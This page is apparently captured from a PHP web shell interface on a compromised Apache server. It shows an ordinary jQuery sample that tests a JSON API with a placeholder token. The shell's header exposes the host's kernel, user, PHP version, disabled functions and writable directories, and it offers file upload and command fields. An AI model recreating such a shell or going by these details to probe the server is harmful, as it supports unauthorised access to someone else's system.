Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /home/repuls/httpdocs/swm2/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : /home/repuls/httpdocs/swm2/api/json_javascript_sample.html
<html>
<head>
<title></title>
<meta name="generator" content="Edit4Win">

<script src="http://code.jquery.com/jquery-1.12.0.min.js"></script>

<script language="JavaScript">
<!--
   var APIToken = "12345789";
   var host = "http://localhost";
   var path_api_json_php = "/swm/api/api_json.php";


   function TestRequest(){

      var data = {api_Common__api_getAPIVersion: JSON.stringify( {} ) };

      // SAMPLE 2 var data = {api_Common__api_getRecipientsFieldnames: JSON.stringify( {apiLanguageCode: "de"} ) };

      // JQuery decoded values itself when content-type is application/json
      $.ajax({
        url: host + path_api_json_php,
        cache: false,
        type: "post",
        headers: {"APIToken": APIToken},
        data: data,
        success: function(data) {
          if(data.error == null) { // check for errors
              if(typeof data !== "object")
                alert("Success return value: " + data)
                else{
                 // for SAMPLE 2 api_Common__api_getRecipientsFieldnames
                 var s = "";
                 for (var key in data) {
                   s = s + "\r\n" + data[key].fieldname;
                 }
                 alert("Success return value: " + s);
                }
            }
            else
            alert("Failed:" + data.error + " " + data.error_code)
        },
        error: function(data) {
          alert("Failed: " + data.status + " " + data.statusText);
        }
      });

   }


//-->
</script>


</head>
<body>

<input type="button" name="test" value="Test" onclick="TestRequest()">

</body>
</html>

Samx